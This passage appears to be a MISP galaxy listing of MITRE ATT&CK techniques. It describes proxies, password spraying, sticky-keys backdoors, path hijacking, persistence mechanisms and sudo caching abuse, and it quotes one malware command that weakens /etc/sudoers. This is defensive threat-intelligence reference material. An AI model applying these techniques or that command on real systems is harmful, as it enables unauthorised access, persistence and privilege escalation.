Adversaries may use a connection proxy to direct network traffic between systems or act as an intermediary for network communications to a command and control server to avoid direct connections to their infrastructure. Many tools exist that enable traffic redirection through proxies or port redirection, including [HTRAN](https://attack.mitre.org/software/S0040), ZXProxy, and ZXPortMap. (Citation: Trend Micro APT Attack Tools) Adversaries use these types of proxies to manage command and control communications, to reduce the number of simultaneous outbound network connections, to provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between victims to avoid suspicion.
External connection proxies are used to mask the destination of C2 traffic and are typically implemented with port redirectors. Compromised systems outside of the victim environment may be used for these purposes, as well as purchased infrastructure such as cloud-based resources or virtual private servers. Proxies may be chosen based on the low likelihood that a connection to them from a compromised system would be investigated. Victim systems would communicate directly with the external proxy on the internet and then the proxy would forward communications to the C2 server.
Internal connection proxies can be used to consolidate internal connections from compromised systems. Adversaries may use a compromised internal system as a proxy in order to conceal the true destination of C2 traffic. The proxy can redirect traffic from compromised systems inside the network to an external C2 server making discovery of malicious traffic difficult. Additionally, the network can be used to relay information from one system to another in order to avoid broadcasting traffic to all systems.
The tag is: misp-galaxy:mitre-attack-pattern="Connection Proxy - T1090"
Links |
Brute Force - T1110
Adversaries may use brute force techniques to attempt access to accounts when passwords are unknown or when password hashes are obtained.
[Credential Dumping](https://attack.mitre.org/techniques/T1003) is used to obtain password hashes, this may only get an adversary so far when [Pass the Hash](https://attack.mitre.org/techniques/T1075) is not an option. Techniques to systematically guess the passwords used to compute hashes are available, or the adversary may use a pre-computed rainbow table to crack hashes. Cracking hashes is usually done on adversary-controlled systems outside of the target network. (Citation: Wikipedia Password cracking)
Adversaries may attempt to brute force logins without knowledge of passwords or hashes during an operation either with zero knowledge or by attempting a list of known or possible passwords. This is a riskier option because it could cause numerous authentication failures and account lockouts, depending on the organization’s login failure policies. (Citation: Cylance Cleaver)
A related technique called password spraying uses one password (e.g. 'Password01'), or a small list of passwords, that matches the complexity policy of the domain and may be a commonly used password. Logins are attempted with that password and many different accounts on a network to avoid account lockouts that would normally occur when brute forcing a single account with many passwords. (Citation: BlackHillsInfosec Password Spraying)
Typically, management services over commonly used ports are used when password spraying. Commonly targeted services include the following:
-
SSH (22/TCP)
-
Telnet (23/TCP)
-
FTP (21/TCP)
-
NetBIOS / SMB / Samba (139/TCP & 445/TCP)
-
LDAP (389/TCP)
-
Kerberos (88/TCP)
-
RDP / Terminal Services (3389/TCP)
-
HTTP/HTTP Management Services (80/TCP & 443/TCP)
-
MSSQL (1433/TCP)
-
Oracle (1521/TCP)
-
MySQL (3306/TCP)
-
VNC (5900/TCP)
In addition to management services, adversaries may "target single sign-on (SSO) and cloud-based applications utilizing federated authentication protocols," as well as externally facing email applications, such as Office 365.(Citation: US-CERT TA18-068A 2018)
In default environments, LDAP and Kerberos connection attempts are less likely to trigger events over SMB, which creates Windows "logon failure" event ID 4625.
The tag is: misp-galaxy:mitre-attack-pattern="Brute Force - T1110"
Links |
Query Registry - T1012
Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
The Registry contains a significant amount of information about the operating system, configuration, software, and security. (Citation: Wikipedia Windows Registry) Some of the information may help adversaries to further their operation within a network. Adversaries may use the information from [Query Registry](https://attack.mitre.org/techniques/T1012) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
The tag is: misp-galaxy:mitre-attack-pattern="Query Registry - T1012"
Links |
Remote Services - T1021
An adversary may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log into a service specifically designed to accept remote connections, such as telnet, SSH, and VNC. The adversary may then perform actions as the logged-on user.
The tag is: misp-galaxy:mitre-attack-pattern="Remote Services - T1021"
Links |
Web Service - T1102
Adversaries may use an existing, legitimate external Web service as a means for relaying commands to a compromised system.
These commands may also include pointers to command and control (C2) infrastructure. Adversaries may post content, known as a dead drop resolver, on Web services with embedded (and often obfuscated/encoded) domains or IP addresses. Once infected, victims will reach out to and be redirected by these resolvers.
Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Use of Web services may also protect back-end C2 infrastructure from discovery through malware binary analysis while also enabling operational resiliency (since this infrastructure may be dynamically changed).
The tag is: misp-galaxy:mitre-attack-pattern="Web Service - T1102"
Links |
AppInit DLLs - T1103
Dynamic-link libraries (DLLs) that are specified in the AppInit_DLLs value in the Registry keys <code>HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Windows</code> or <code>HKEY_LOCAL_MACHINE\Software\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Windows</code> are loaded by user32.dll into every process that loads user32.dll. In practice this is nearly every program, since user32.dll is a very common library. (Citation: Endgame Process Injection July 2017) Similar to [Process Injection](https://attack.mitre.org/techniques/T1055), these values can be abused to obtain persistence and privilege escalation by causing a malicious DLL to be loaded and run in the context of separate processes on the computer. (Citation: AppInit Registry)
The AppInit DLL functionality is disabled in Windows 8 and later versions when secure boot is enabled. (Citation: AppInit Secure Boot)
The tag is: misp-galaxy:mitre-attack-pattern="AppInit DLLs - T1103"
Links |
Port Monitors - T1013
A port monitor can be set through the (Citation: AddMonitor) API call to set a DLL to be loaded at startup. (Citation: AddMonitor) This DLL can be located in <code>C:\Windows\System32</code> and will be loaded by the print spooler service, spoolsv.exe, on boot. The spoolsv.exe process also runs under SYSTEM level permissions. (Citation: Bloxham) Alternatively, an arbitrary DLL can be loaded if permissions allow writing a fully-qualified pathname for that DLL to <code>HKLM\SYSTEM\CurrentControlSet\Control\Print\Monitors</code>.
The Registry key contains entries for the following:
-
Local Port
-
Standard TCP/IP Port
-
USB Monitor
-
WSD Port
Adversaries can use this technique to load malicious code at startup that will persist on system reboot and execute as SYSTEM.
The tag is: misp-galaxy:mitre-attack-pattern="Port Monitors - T1013"
Links |
Accessibility Features - T1015
Windows contains accessibility features that may be launched with a key combination before a user has logged in (for example, when the user is on the Windows logon screen). An adversary can modify the way these programs are launched to get a command prompt or backdoor without logging in to the system.
Two common accessibility programs are <code>C:\Windows\System32\sethc.exe</code>, launched when the shift key is pressed five times and <code>C:\Windows\System32\utilman.exe</code>, launched when the Windows + U key combination is pressed. The sethc.exe program is often referred to as "sticky keys", and has been used by adversaries for unauthenticated access through a remote desktop login screen. (Citation: FireEye Hikit Rootkit)
Depending on the version of Windows, an adversary may take advantage of these features in different ways because of code integrity enhancements. In newer versions of Windows, the replaced binary needs to be digitally signed for x64 systems, the binary must reside in <code>%systemdir%\</code>, and it must be protected by Windows File or Resource Protection (WFP/WRP). (Citation: DEFCON2016 Sticky Keys) The debugger method was likely discovered as a potential workaround because it does not require the corresponding accessibility feature binary to be replaced. Examples for both methods:
For simple binary replacement on Windows XP and later as well as and Windows Server 2003/R2 and later, for example, the program (e.g., <code>C:\Windows\System32\utilman.exe</code>) may be replaced with "cmd.exe" (or another program that provides backdoor access). Subsequently, pressing the appropriate key combination at the login screen while sitting at the keyboard or when connected over [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1076) will cause the replaced file to be executed with SYSTEM privileges. (Citation: Tilbury 2014)
For the debugger method on Windows Vista and later as well as Windows Server 2008 and later, for example, a Registry key may be modified that configures "cmd.exe," or another program that provides backdoor access, as a "debugger" for the accessibility program (e.g., "utilman.exe"). After the Registry is modified, pressing the appropriate key combination at the login screen while at the keyboard or when connected with RDP will cause the "debugger" program to be executed with SYSTEM privileges. (Citation: Tilbury 2014)
Other accessibility features exist that may also be leveraged in a similar fashion: (Citation: DEFCON2016 Sticky Keys)
-
On-Screen Keyboard: <code>C:\Windows\System32\osk.exe</code>
-
Magnifier: <code>C:\Windows\System32\Magnify.exe</code>
-
Narrator: <code>C:\Windows\System32\Narrator.exe</code>
-
Display Switcher: <code>C:\Windows\System32\DisplaySwitch.exe</code>
-
App Switcher: <code>C:\Windows\System32\AtBroker.exe</code>
The tag is: misp-galaxy:mitre-attack-pattern="Accessibility Features - T1015"
Links |
https://www.slideshare.net/DennisMaldonado5/sticky-keys-to-the-kingdom |
http://blog.crowdstrike.com/registry-analysis-with-crowdresponse/ |
Clipboard Modification - T1510
Adversaries may abuse clipboard functionality to intercept and replace information in the Android device clipboard.(Citation: ESET Clipboard Modification February 2019)(Citation: Welivesecurity Clipboard Modification February 2019)(Citation: Syracuse Clipboard Modification 2014) Malicious applications may monitor the clipboard activity through the <code>ClipboardManager.OnPrimaryClipChangedListener</code> interface on Android to determine when the clipboard contents have changed.(Citation: Dr.Webb Clipboard Modification origin2 August 2018)(Citation: Dr.Webb Clipboard Modification origin August 2018) Listening to clipboard activity, reading the clipboard contents, and modifying the clipboard contents requires no explicit application permissions and can be performed by applications running in the background, however, this behavior has changed with the release of Android 10.(Citation: Android 10 Privacy Changes)
Adversaries may use [Clipboard Modification](https://attack.mitre.org/techniques/T1510) to replace text prior to being pasted, for example, replacing a copied Bitcoin wallet address with a wallet address that is under adversarial control.
[Clipboard Modification](https://attack.mitre.org/techniques/T1510) had been seen within the Android/Clipper.C trojan. This sample had been detected by ESET in an application distributed through the Google Play Store targeting cryptocurrency wallet numbers.(Citation: ESET Clipboard Modification February 2019)
The tag is: misp-galaxy:mitre-attack-pattern="Clipboard Modification - T1510"
Links |
https://www.welivesecurity.com/2019/02/08/first-clipper-malware-google-play/ |
http://www.cis.syr.edu/wedu/Research/paper/clipboard_attack_dimva2014.pdf[http://www.cis.syr.edu/wedu/Research/paper/clipboard_attack_dimva2014.pdf] |
https://developer.android.com/about/versions/10/privacy/changes#clipboard-data |
Plist Modification - T1150
Property list (plist) files contain all of the information that macOS and OS X uses to configure applications and services. These files are UTF-8 encoded and formatted like XML documents via a series of keys surrounded by < >. They detail when programs should execute, file paths to the executables, program arguments, required OS permissions, and many others. plists are located in certain locations depending on their purpose such as <code>/Library/Preferences</code> (which execute with elevated privileges) and <code>~/Library/Preferences</code> (which execute with a user’s privileges). Adversaries can modify these plist files to point to their own code, can use them to execute their code in the context of another user, bypass whitelisting procedures, or even use them as a persistence mechanism. (Citation: Sofacy Komplex Trojan)
The tag is: misp-galaxy:mitre-attack-pattern="Plist Modification - T1150"
Links |
https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/ |
Systemd Service - T1501
Systemd services can be used to establish persistence on a Linux system. The systemd service manager is commonly used for managing background daemon processes (also known as services) and other system resources.(Citation: Linux man-pages: systemd January 2014)(Citation: Freedesktop.org Linux systemd 29SEP2018) Systemd is the default initialization (init) system on many Linux distributions starting with Debian 8, Ubuntu 15.04, CentOS 7, RHEL 7, Fedora 15, and replaces legacy init systems including SysVinit and Upstart while remaining backwards compatible with the aforementioned init systems.
Systemd utilizes configuration files known as service units to control how services boot and under what conditions. By default, these unit files are stored in the <code>/etc/systemd/system</code> and <code>/usr/lib/systemd/system</code> directories and have the file extension <code>.service</code>. Each service unit file may contain numerous directives that can execute system commands.
-
ExecStart, ExecStartPre, and ExecStartPost directives cover execution of commands when a services is started manually by 'systemctl' or on system start if the service is set to automatically start.
-
ExecReload directive covers when a service restarts.
-
ExecStop and ExecStopPost directives cover when a service is stopped or manually by 'systemctl'.
Adversaries have used systemd functionality to establish persistent access to victim systems by creating and/or modifying service unit files that cause systemd to execute malicious commands at recurring intervals, such as at system boot.(Citation: Anomali Rocke March 2019)(Citation: gist Arch package compromise 10JUL2018)(Citation: Arch Linux Package Systemd Compromise BleepingComputer 10JUL2018)(Citation: acroread package compromised Arch Linux Mail 8JUL2018)
While adversaries typically require root privileges to create/modify service unit files in the <code>/etc/systemd/system</code> and <code>/usr/lib/systemd/system</code> directories, low privilege users can create/modify service unit files in directories such as <code>~/.config/systemd/user/</code> to achieve user-level persistence.(Citation: Rapid7 Service Persistence 22JUNE2016)
The tag is: misp-galaxy:mitre-attack-pattern="Systemd Service - T1501"
Shared Webroot - T1051
Adversaries may add malicious content to an internally accessible website through an open network file share that contains the website’s webroot or Web content directory (Citation: Microsoft Web Root OCT 2016) (Citation: Apache Server 2018) and then browse to that content with a Web browser to cause the server to execute the malicious content. The malicious content will typically run under the context and permissions of the Web server process, often resulting in local system or administrative privileges, depending on how the Web server is configured.
This mechanism of shared access and remote execution could be used for lateral movement to the system running the Web server. For example, a Web server running PHP with an open network share could allow an adversary to upload a remote access tool and PHP script to execute the RAT on the system running the Web server when a specific page is visited. (Citation: Webroot PHP 2011)
The tag is: misp-galaxy:mitre-attack-pattern="Shared Webroot - T1051"
Links |
http://httpd.apache.org/docs/2.4/getting-started.html#content |
https://www.webroot.com/blog/2011/02/22/malicious-php-scripts-on-the-rise/ |
Launch Daemon - T1160
Per Apple’s developer documentation, when macOS and OS X boot up, launchd is run to finish system initialization. This process loads the parameters for each launch-on-demand system-level daemon from the property list (plist) files found in <code>/System/Library/LaunchDaemons</code> and <code>/Library/LaunchDaemons</code> (Citation: AppleDocs Launch Agent Daemons). These LaunchDaemons have property list files which point to the executables that will be launched (Citation: Methods of Mac Malware Persistence).
Adversaries may install a new launch daemon that can be configured to execute at startup by using launchd or launchctl to load a plist into the appropriate directories (Citation: OSX Malware Detection). The daemon name may be disguised by using a name from a related operating system or benign software (Citation: WireLurker). Launch Daemons may be created with administrator privileges, but are executed under root privileges, so an adversary may also use a service to escalate privileges from administrator to root.
The plist file permissions must be root:wheel, but the script or program that it points to has no such requirement. So, it is possible for poor configurations to allow an adversary to modify a current Launch Daemon’s executable and gain persistence or Privilege Escalation.
The tag is: misp-galaxy:mitre-attack-pattern="Launch Daemon - T1160"
Links |
https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf |
https://www.synack.com/wp-content/uploads/2016/03/RSA_OSX_Malware.pdf |
File Deletion - T1107
Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces behind as to what was done within a network and how. Adversaries may remove these files over the course of an intrusion to keep their footprint low or remove them at the end as part of the post-intrusion cleanup process.
There are tools available from the host operating system to perform cleanup, but adversaries may use other tools as well. Examples include native [cmd](https://attack.mitre.org/software/S0106) functions such as DEL, secure deletion tools such as Windows Sysinternals SDelete, or other third-party file deletion tools. (Citation: Trend Micro APT Attack Tools)
The tag is: misp-galaxy:mitre-attack-pattern="File Deletion - T1107"
Links |
Redundant Access - T1108
Adversaries may use more than one remote access tool with varying command and control protocols or credentialed access to remote services so they can maintain access if an access mechanism is detected or mitigated.
If one type of tool is detected and blocked or removed as a response but the organization did not gain a full understanding of the adversary’s tools and access, then the adversary will be able to retain access to the network. Adversaries may also attempt to gain access to [Valid Accounts](https://attack.mitre.org/techniques/T1078) to use [External Remote Services](https://attack.mitre.org/techniques/T1133) such as external VPNs as a way to maintain access despite interruptions to remote access tools deployed within a target network.(Citation: Mandiant APT1) Adversaries may also retain access through cloud-based infrastructure and applications.
Use of a [Web Shell](https://attack.mitre.org/techniques/T1100) is one such way to maintain access to a network through an externally accessible Web server.
The tag is: misp-galaxy:mitre-attack-pattern="Redundant Access - T1108"
Links |
https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf |
Component Firmware - T1109
Some adversaries may employ sophisticated means to compromise computer components and install malicious firmware that will execute adversary code outside of the operating system and main system firmware or BIOS. This technique may be similar to [System Firmware](https://attack.mitre.org/techniques/T1019) but conducted upon other system components that may not have the same capability or level of integrity checking. Malicious device firmware could provide both a persistent level of access to systems despite potential typical failures to maintain access and hard disk re-images, as well as a way to evade host software-based defenses and integrity checks.
The tag is: misp-galaxy:mitre-attack-pattern="Component Firmware - T1109"
Links |
System Firmware - T1019
The BIOS (Basic Input/Output System) and The Unified Extensible Firmware Interface (UEFI) or Extensible Firmware Interface (EFI) are examples of system firmware that operate as the software interface between the operating system and hardware of a computer. (Citation: Wikipedia BIOS) (Citation: Wikipedia UEFI) (Citation: About UEFI)
System firmware like BIOS and (U)EFI underly the functionality of a computer and may be modified by an adversary to perform or assist in malicious activity. Capabilities exist to overwrite the system firmware, which may give sophisticated adversaries a means to install malicious firmware updates as a means of persistence on a system that may be difficult to detect.
The tag is: misp-galaxy:mitre-attack-pattern="System Firmware - T1019"
Data Encrypted - T1022
Data is encrypted before being exfiltrated in order to hide the information that is being exfiltrated from detection or to make the exfiltration less conspicuous upon inspection by a defender. The encryption is performed by a utility, programming library, or custom algorithm on the data itself and is considered separate from any encryption performed by the command and control or file transfer protocol. Common file archive formats that can encrypt files are RAR and zip.
Other exfiltration techniques likely apply as well to transfer the information out of the network, such as [Exfiltration Over Command and Control Channel](https://attack.mitre.org/techniques/T1041) and [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048)
The tag is: misp-galaxy:mitre-attack-pattern="Data Encrypted - T1022"
Links |
http://www.netsec.colostate.edu/zhang/DetectingEncryptedBotnetTraffic.pdf[http://www.netsec.colostate.edu/zhang/DetectingEncryptedBotnetTraffic.pdf] |
Data Hiding - T1320
Certain types of traffic (e.g., DNS tunneling, header inject) allow for user-defined fields. These fields can then be used to hide data. In addition to hiding data in network protocols, steganography techniques can be used to hide data in images or other file formats. Detection can be difficult unless a particular signature is already known. (Citation: BotnetsDNSC2) (Citation: HAMMERTOSS2015) (Citation: DNS-Tunnel)
The tag is: misp-galaxy:mitre-attack-pattern="Data Hiding - T1320"
Links |
Shortcut Modification - T1023
Shortcuts or symbolic links are ways of referencing other files or programs that will be opened or executed when the shortcut is clicked or executed by a system startup process. Adversaries could use shortcuts to execute their tools for persistence. They may create a new shortcut as a means of indirection that may use [Masquerading](https://attack.mitre.org/techniques/T1036) to look like a legitimate program. Adversaries could also edit the target path or entirely replace an existing shortcut so their tools will be executed instead of the intended legitimate program.
The tag is: misp-galaxy:mitre-attack-pattern="Shortcut Modification - T1023"
Links |
User Execution - T1204
An adversary may rely upon specific actions by a user in order to gain execution. This may be direct code execution, such as when a user opens a malicious executable delivered via [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193) with the icon and apparent extension of a document file. It also may lead to other execution techniques, such as when a user clicks on a link delivered via [Spearphishing Link](https://attack.mitre.org/techniques/T1192) that leads to exploitation of a browser or application vulnerability via [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203). Adversaries may use several types of files that require a user to execute them, including .doc, .pdf, .xls, .rtf, .scr, .exe, .lnk, .pif, and .cpl.
As an example, an adversary may weaponize Windows Shortcut Files (.lnk) to bait a user into clicking to execute the malicious payload.(Citation: Proofpoint TA505 June 2018) A malicious .lnk file may contain [PowerShell](https://attack.mitre.org/techniques/T1086) commands. Payloads may be included into the .lnk file itself, or be downloaded from a remote server.(Citation: FireEye APT29 Nov 2018)(Citation: PWC Cloud Hopper Technical Annex April 2017)
While User Execution frequently occurs shortly after Initial Access it may occur at other phases of an intrusion, such as when an adversary places a file in a shared directory or on a user’s desktop hoping that a user will click on it.
The tag is: misp-galaxy:mitre-attack-pattern="User Execution - T1204"
Links |
https://www.proofpoint.com/us/threat-insight/post/ta505-shifts-times |
https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf |
Task requirements - T1240
Once divided into the most granular parts, analysts work with collection managers to task the collection management system with requirements and sub-requirements. (Citation: Heffter) (Citation: JP2-01)
The tag is: misp-galaxy:mitre-attack-pattern="Task requirements - T1240"
Links |
Port Knocking - T1205
Port Knocking is a well-established method used by both defenders and adversaries to hide open ports from access. To enable a port, an adversary sends a series of packets with certain characteristics before the port will be opened. Usually this series of packets consists of attempted connections to a predefined sequence of closed ports, but can involve unusual flags, specific strings or other unique characteristics. After the sequence is completed, opening a port is often accomplished by the host based firewall, but could also be implemented by custom software.
This technique has been observed to both for the dynamic opening of a listening port as well as the initiating of a connection to a listening server on a different system.
The observation of the signal packets to trigger the communication can be conducted through different methods. One means, originally implemented by Cd00r (Citation: Hartrell cd00r 2002), is to use the libpcap libraries to sniff for the packets in question. Another method leverages raw sockets, which enables the malware to use ports that are already open for use by other programs.
The tag is: misp-galaxy:mitre-attack-pattern="Port Knocking - T1205"
Links |
https://www.giac.org/paper/gcih/342/handle-cd00r-invisible-backdoor/103631 |
Multiband Communication - T1026
Some adversaries may split communications between different protocols. There could be one protocol for inbound command and control and another for outbound data, allowing it to bypass certain firewall restrictions. The split could also be random to simply avoid data threshold alerts on any one communication.
The tag is: misp-galaxy:mitre-attack-pattern="Multiband Communication - T1026"
Links |
Sudo Caching - T1206
The <code>sudo</code> command "allows a system administrator to delegate authority to give certain users (or groups of users) the ability to run some (or all) commands as root or another user while providing an audit trail of the commands and their arguments." (Citation: sudo man page 2018) Since sudo was made for the system administrator, it has some useful configuration features such as a <code>timestamp_timeout</code> that is the amount of time in minutes between instances of <code>sudo</code> before it will re-prompt for a password. This is because <code>sudo</code> has the ability to cache credentials for a period of time. Sudo creates (or touches) a file at <code>/var/db/sudo</code> with a timestamp of when sudo was last run to determine this timeout. Additionally, there is a <code>tty_tickets</code> variable that treats each new tty (terminal session) in isolation. This means that, for example, the sudo timeout of one tty will not affect another tty (you will have to type the password again).
Adversaries can abuse poor configurations of this to escalate privileges without needing the user’s password. <code>/var/db/sudo</code>'s timestamp can be monitored to see if it falls within the <code>timestamp_timeout</code> range. If it does, then malware can execute sudo commands without needing to supply the user’s password. When <code>tty_tickets</code> is disabled, adversaries can do this from any tty for that user.
The OSX Proton Malware has disabled <code>tty_tickets</code> to potentially make scripting easier by issuing <code>echo \'Defaults !tty_tickets\' >> /etc/sudoers</code> (Citation: cybereason osx proton). In order for this change to be reflected, the Proton malware also must issue <code>killall Terminal</code>. As of macOS Sierra, the sudoers file has <code>tty_tickets</code> enabled by default.
The tag is: misp-galaxy:mitre-attack-pattern="Sudo Caching - T1206"
Links |
https://www.cybereason.com/blog/labs-proton-b-what-this-mac-malware-actually-does |
Time Providers - T1209
The Windows Time service (W32Time) enables time synchronization across and within domains. (Citation: Microsoft W32Time Feb 2018) W32Time time providers are responsible for retrieving time stamps from hardware/network resources and outputting these values to other network clients. (Citation: Microsoft TimeProvider)
Time providers are implemented as dynamic-link libraries (DLLs) that are registered in the subkeys of <code>HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\W32Time\TimeProviders\</code>. (Citation: Microsoft TimeProvider) The time provider manager, directed by the service control manager, loads and starts time providers listed and enabled under this key at system startup and/or whenever parameters are changed. (Citation: Microsoft TimeProvider)
Adversaries may abuse this architecture to establish Persistence, specifically by registering and enabling a malicious DLL as a time provider. Administrator privileges are required for time provider registration, though execution will run in context of the Local Service account. (Citation: Github W32Time Oct 2017)
The tag is: misp-galaxy:mitre-attack-pattern="Time Providers - T1209"
Links |
https://docs.microsoft.com/windows-server/networking/windows-time-service/windows-time-service-top |
https://msdn.microsoft.com/library/windows/desktop/ms725475.aspx |
Scheduled Transfer - T1029
Data exfiltration may be performed only at certain times of day or at certain intervals. This could be done to blend traffic patterns with normal activity or availability.
When scheduled exfiltration is used, other exfiltration techniques likely apply as well to transfer the information out of the network, such as Exfiltration Over Command and Control Channel and Exfiltration Over Alternative Protocol.
The tag is: misp-galaxy:mitre-attack-pattern="Scheduled Transfer - T1029"
Links |
Shadow DNS - T1340
The process of gathering domain account credentials in order to silently create subdomains pointed at malicious servers without tipping off the actual owner. (Citation: CiscoAngler) (Citation: ProofpointDomainShadowing)
The tag is: misp-galaxy:mitre-attack-pattern="Shadow DNS - T1340"
Links |
Path Interception - T1034
Path interception occurs when an executable is placed in a specific path so that it is executed by an application instead of the intended target. One example of this was the use of a copy of [cmd](https://attack.mitre.org/software/S0106) in the current working directory of a vulnerable application that loads a CMD or BAT file with the CreateProcess function. (Citation: TechNet MS14-019)
There are multiple distinct weaknesses or misconfigurations that adversaries may take advantage of when performing path interception: unquoted paths, path environment variable misconfigurations, and search order hijacking. The first vulnerability deals with full program paths, while the second and third occur when program paths are not specified. These techniques can be used for persistence if executables are called on a regular basis, as well as privilege escalation if intercepted executables are started by a higher privileged process.
Unquoted Paths
Service paths (stored in Windows Registry keys) (Citation: Microsoft Subkey) and shortcut paths are vulnerable to path interception if the path has one or more spaces and is not surrounded by quotation marks (e.g., <code>C:\unsafe path with space\program.exe</code> vs. <code>"C:\safe path with space\program.exe"</code>). (Citation: Baggett 2012) An adversary can place an executable in a higher level directory of the path, and Windows will resolve that executable instead of the intended executable. For example, if the path in a shortcut is <code>C:\program files\myapp.exe</code>, an adversary may create a program at <code>C:\program.exe</code> that will be run instead of the intended program. (Citation: SecurityBoulevard Unquoted Services APR 2018) (Citation: SploitSpren Windows Priv Jan 2018)
PATH Environment Variable Misconfiguration
The PATH environment variable contains a list of directories. Certain methods of executing a program (namely using cmd.exe or the command-line) rely solely on the PATH environment variable to determine the locations that are searched for a program when the path for the program is not given. If any directories are listed in the PATH environment variable before the Windows directory, <code>%SystemRoot%\system32</code> (e.g., <code>C:\Windows\system32</code>), a program may be placed in the preceding directory that is named the same as a Windows program (such as cmd, PowerShell, or Python), which will be executed when that command is executed from a script or command-line.
For example, if <code>C:\example path</code> precedes <code>C:\Windows\system32</code> is in the PATH environment variable, a program that is named net.exe and placed in <code>C:\example path</code> will be called instead of the Windows system "net" when "net" is executed from the command-line.
Search Order Hijacking
Search order hijacking occurs when an adversary abuses the order in which Windows searches for programs that are not given a path. The search order differs depending on the method that is used to execute the program. (Citation: Microsoft CreateProcess) (Citation: Hill NT Shell) (Citation: Microsoft WinExec) However, it is common for Windows to search in the directory of the initiating program before searching through the Windows system directory. An adversary who finds a program vulnerable to search order hijacking (i.e., a program that does not specify the path to an executable) may take advantage of this vulnerability by creating a program named after the improperly specified program and placing it within the initiating program’s directory.
For example, "example.exe" runs "cmd.exe" with the command-line argument <code>net user</code>. An adversary may place a program called "net.exe" within the same directory as example.exe, "net.exe" will be run instead of the Windows system utility net. In addition, if an adversary places a program called "net.com" in the same directory as "net.exe", then <code>cmd.exe /C net user</code> will execute "net.com" instead of "net.exe" due to the order of executable extensions defined under PATHEXT. (Citation: MSDN Environment Property)
Search order hijacking is also a common practice for hijacking DLL loads and is covered in [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1038).
The tag is: misp-galaxy:mitre-attack-pattern="Path Interception - T1034"
Location Tracking - T1430
An adversary could use a malicious or exploited application to surreptitiously track the device’s physical location through use of standard operating system APIs.
The tag is: misp-galaxy:mitre-attack-pattern="Location Tracking - T1430"
Links |
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-24.html |
Service Execution - T1035
Adversaries may execute a binary, command, or script via a method that interacts with Windows services, such as the Service Control Manager. This can be done by either creating a new service or modifying an existing service. This technique is the execution used in conjunction with [New Service](https://attack.mitre.org/techniques/T1050) and [Modify Existing Service](https://attack.mitre.org/techniques/T1031) during service persistence or privilege escalation.
The tag is: misp-galaxy:mitre-attack-pattern="Service Execution - T1035"
Links |
Scheduled Task - T1053
Utilities such as [at](https://attack.mitre.org/software/S0110) and [schtasks](https://attack.mitre.org/software/S0111), along with the Windows Task Scheduler, can be used to schedule programs or scripts to be executed at a date and time. A task can also be scheduled on a remote system, provided the proper authentication is met to use RPC and file and printer sharing is turned on. Scheduling a task on a remote system typically required being a member of the Administrators group on the remote system. (Citation: TechNet Task Scheduler Security)
An adversary may use task scheduling to execute programs at system startup or on a scheduled basis for persistence, to conduct remote Execution as part of Lateral Movement, to gain SYSTEM privileges, or to run a process under the context of a specified account.
The tag is: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053"
Links |
Anonymity services - T1306
Anonymity services reduce the amount of information available that can be used to track an adversary’s activities. Multiple options are available to hide activity, limit tracking, and increase anonymity. (Citation: TOR Design) (Citation: Stratfor2012)
The tag is: misp-galaxy:mitre-attack-pattern="Anonymity services - T1306"
Links |
Windows
Windows allows logon scripts to be run whenever a specific user or group of users log into a system. (Citation: TechNet Logon Scripts) The scripts can be used to perform administrative functions, which may often execute other programs or send information to an internal logging server.
If adversaries can access these scripts, they may insert additional code into the logon script to execute their tools when a user logs in. This code can allow them to maintain persistence on a single system, if it is a local script, or to move laterally within a network, if the script is stored on a central server and pushed to many systems. Depending on the access configuration of the logon scripts, either local credentials or an administrator account may be necessary.
Mac
Mac allows login and logoff hooks to be run as root whenever a specific user logs into or out of a system. A login hook tells Mac OS X to execute a certain script when a user logs in, but unlike startup items, a login hook executes as root (Citation: creating login hook). There can only be one login hook at a time though. If adversaries can access these scripts, they can insert additional code to the script to execute their tools when a user logs in.
The tag is: misp-galaxy:mitre-attack-pattern="Logon Scripts - T1037"
Links |
https://technet.microsoft.com/en-us/library/cc758918(v=ws.10).aspx |
Process Hollowing - T1093
Process hollowing occurs when a process is created in a suspended state then its memory is unmapped and replaced with malicious code. Similar to [Process Injection](https://attack.mitre.org/techniques/T1055), execution of the malicious code is masked under a legitimate process and may evade defenses and detection analysis. (Citation: Leitch Hollowing) (Citation: Endgame Process Injection July 2017)
The tag is: misp-galaxy:mitre-attack-pattern="Process Hollowing - T1093"
Links |
Obfuscate infrastructure - T1309
Obfuscation is hiding the day-to-day building and testing of new tools, chat servers, etc. (Citation: LUCKYCAT2012)
The tag is: misp-galaxy:mitre-attack-pattern="Obfuscate infrastructure - T1309"
Obfuscate infrastructure - T1309 has relationships with:
-
related-to: misp-galaxy:mitre-attack-pattern="Obfuscate infrastructure - T1331" with estimative-language:likelihood-probability="almost-certain"
Links |
Indicator Blocking - T1054
